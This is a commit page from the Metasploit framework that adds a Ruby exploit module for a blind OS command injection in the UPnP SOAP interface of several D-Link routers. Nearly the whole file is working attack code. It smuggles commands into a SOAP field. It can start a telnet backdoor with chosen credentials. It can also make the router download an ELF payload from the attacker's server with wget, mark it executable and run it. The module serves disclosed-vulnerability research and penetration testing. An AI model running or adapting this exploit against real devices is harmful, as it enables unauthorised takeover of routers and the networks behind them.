Skip to content

Commit 49c7091

Browse files
author
m-1-k-3
committed
dlink upnp command injection
1 parent b514124 commit 49c7091

File tree

1 file changed

+319
-0
lines changed

1 file changed

+319
-0
lines changed
Lines changed: 319 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,319 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'D-Link UPnP SOAP Command Execution',
21+
'Description' => %q{
22+
Different DLink Routers are vulnerable to OS Command injection in the UPnP
23+
SOAP interface.
24+
Not every device includes wget which we need for deploying our payload.
25+
On such devices you could use the telnet target for starting a telnet server or the
26+
cmd generic payload and try to start telnetd or execute other commands. Since it is
27+
a blind OS command injection vulnerability, there is no output for the executed
28+
command when using the cmd generic payload. A ping command against a controlled
29+
system could be used for testing purposes. This module has been tested successfully
30+
on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865 and DAP1522.
31+
},
32+
'Author' =>
33+
[
34+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
35+
'juan vazquez' # minor help with msf module
36+
],
37+
'License' => MSF_LICENSE,
38+
'References' =>
39+
[
40+
[ 'OSVDB', '94924' ],
41+
[ 'EDB', '26664' ],
42+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
43+
],
44+
'DisclosureDate' => 'Jul 05 2013',
45+
'Privileged' => true,
46+
'Platform' => ['linux','unix'],
47+
'Payload' =>
48+
{
49+
'DisableNops' => true,
50+
},
51+
'Targets' =>
52+
[
53+
[ 'CMD', #all devices
54+
{
55+
'Arch' => ARCH_CMD,
56+
'Platform' => 'unix'
57+
}
58+
],
59+
[ 'Telnet', #all devices
60+
{
61+
'Arch' => ARCH_CMD,
62+
'Platform' => 'unix'
63+
}
64+
],
65+
[ 'Linux mipsel Payload', #DIR-865, DIR-645
66+
{
67+
'Arch' => ARCH_MIPSLE,
68+
'Platform' => 'linux'
69+
}
70+
],
71+
],
72+
'DefaultTarget' => 0
73+
))
74+
75+
register_options(
76+
[
77+
Opt::RPORT(49152),
78+
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
79+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
80+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
81+
OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]),
82+
OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ])
83+
], self.class)
84+
end
85+
86+
87+
def request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
88+
89+
uri = '/soap.cgi'
90+
data_uri = "?service=WANIPConn1"
91+
92+
data_cmd = "<?xml version=\"1.0\"?>"
93+
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
94+
data_cmd << "<SOAP-ENV:Body>"
95+
96+
if type == "add"
97+
vprint_status("#{rhost}:#{rport} - adding portmapping")
98+
99+
sOAPAction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
100+
101+
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
102+
data_cmd << "<NewPortMappingDescription>#{newPortMappingDescription}</NewPortMappingDescription>"
103+
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
104+
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
105+
data_cmd << "<NewEnabled>1</NewEnabled>"
106+
data_cmd << "<NewExternalPort>#{newExternalPort}</NewExternalPort>"
107+
data_cmd << "<NewRemoteHost></NewRemoteHost>"
108+
data_cmd << "<NewProtocol>TCP</NewProtocol>"
109+
data_cmd << "<NewInternalPort>#{newInternalPort}</NewInternalPort>"
110+
data_cmd << "</m:AddPortMapping>"
111+
else
112+
#we should clean it up ... otherwise we are not able to exploit it multiple times
113+
vprint_status("#{rhost}:#{rport} - deleting portmapping")
114+
sOAPAction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
115+
116+
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
117+
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{newExternalPort}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
118+
data_cmd << "</m:DeletePortMapping>"
119+
end
120+
121+
data_cmd << "</SOAP-ENV:Body>"
122+
data_cmd << "</SOAP-ENV:Envelope>"
123+
124+
begin
125+
res = send_request_raw({
126+
'uri' => uri << data_uri,
127+
'method' => 'POST',
128+
'headers' => {
129+
'SOAPAction' => sOAPAction,
130+
'Content-Type' => "text/xml"
131+
},
132+
'data' => data_cmd
133+
})
134+
return res
135+
rescue ::Rex::ConnectionError
136+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
137+
return nil
138+
end
139+
end
140+
141+
def exploit
142+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
143+
144+
newPortMappingDescription = rand_text_alpha(8)
145+
newExternalPort = rand(65535)
146+
newInternalPort = rand(65535)
147+
148+
if target.name =~ /CMD/
149+
if not (datastore['CMD'])
150+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
151+
end
152+
cmd = payload.encoded
153+
type = "add"
154+
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
155+
if (!res or res.code != 200)
156+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
157+
end
158+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
159+
type = "delete"
160+
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
161+
if (!res or res.code != 200)
162+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
163+
end
164+
return
165+
end
166+
167+
if target.name =~ /Telnet/
168+
passw = datastore['TELNETPASS'] || rand_text_alpha(8)
169+
user = datastore['TELNETUSER'] || rand_text_alpha(4)
170+
telnetport = rand(65535)
171+
172+
vprint_status("#{rhost}:#{rport} - User: #{user}")
173+
vprint_status("#{rhost}:#{rport} - Password: #{passw}")
174+
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
175+
176+
cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}"
177+
type = "add"
178+
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
179+
if (!res or res.code != 200)
180+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
181+
end
182+
type = "delete"
183+
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
184+
if (!res or res.code != 200)
185+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
186+
end
187+
begin
188+
telnet_sock = nil
189+
telnet_sock = TCPSocket.open(rhost,telnetport)
190+
if telnet_sock
191+
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
192+
else
193+
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
194+
end
195+
telnet_sock.close
196+
197+
#modules/auxiliary/scanner/telnet/telnet_login.rb
198+
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport} with #{user}:#{passw}"
199+
auth_info = {
200+
:host => rhost,
201+
:port => telnetport,
202+
:sname => 'telnet',
203+
:user => user,
204+
:pass => passw,
205+
:source_type => "exploit",
206+
:active => true
207+
}
208+
report_auth_info(auth_info)
209+
# NOT WORKING
210+
#merge_me = {
211+
# 'USERPASS_FILE' => nil,
212+
# 'USER_FILE' => nil,
213+
# 'PASS_FILE' => nil,
214+
# 'USERNAME' => user,
215+
# 'PASSWORD' => passw
216+
#}
217+
#start_session(self, "TELNET #{user}:#{passw} (#{rhost}:#{telnetport})", merge_me, true)
218+
rescue
219+
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
220+
end
221+
return
222+
end
223+
224+
#thx to Juan for his awesome work on the mipsel elf support
225+
@pl = generate_payload_exe
226+
@elf_sent = false
227+
228+
#
229+
# start our server
230+
#
231+
resource_uri = '/' + downfile
232+
233+
if (datastore['DOWNHOST'])
234+
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
235+
else
236+
#do not use SSL
237+
if datastore['SSL']
238+
ssl_restore = true
239+
datastore['SSL'] = false
240+
end
241+
242+
#we use SRVHOST as download IP for the coming wget command.
243+
#SRVHOST needs a real IP address of our download host
244+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
245+
srv_host = Rex::Socket.source_address(rhost)
246+
else
247+
srv_host = datastore['SRVHOST']
248+
end
249+
250+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
251+
252+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
253+
start_service({'Uri' => {
254+
'Proc' => Proc.new { |cli, req|
255+
on_request_uri(cli, req)
256+
},
257+
'Path' => resource_uri
258+
}})
259+
260+
datastore['SSL'] = true if ssl_restore
261+
end
262+
263+
#
264+
# download payload
265+
#
266+
print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
267+
#this filename is used to store the payload on the device
268+
filename = rand_text_alpha_lower(8)
269+
270+
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
271+
type = "add"
272+
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
273+
if (!res or res.code != 200)
274+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
275+
end
276+
277+
# wait for payload download
278+
if (datastore['DOWNHOST'])
279+
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
280+
select(nil, nil, nil, datastore['HTTP_DELAY'])
281+
else
282+
wait_linux_payload
283+
end
284+
285+
register_file_for_cleanup("/tmp/#{filename}")
286+
287+
type = "delete"
288+
res = request(cmd,type,newExternalPort,newInternalPort,newPortMappingDescription)
289+
if (!res or res.code != 200)
290+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
291+
end
292+
end
293+
294+
# Handle incoming requests from the server
295+
def on_request_uri(cli, request)
296+
#print_status("on_request_uri called: #{request.inspect}")
297+
if (not @pl)
298+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
299+
return
300+
end
301+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
302+
@elf_sent = true
303+
send_response(cli, @pl)
304+
end
305+
306+
# wait for the data to be sent
307+
def wait_linux_payload
308+
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
309+
310+
waited = 0
311+
while (not @elf_sent)
312+
select(nil, nil, nil, 1)
313+
waited += 1
314+
if (waited > datastore['HTTP_DELAY'])
315+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
316+
end
317+
end
318+
end
319+
end

0 commit comments

Comments
 (0)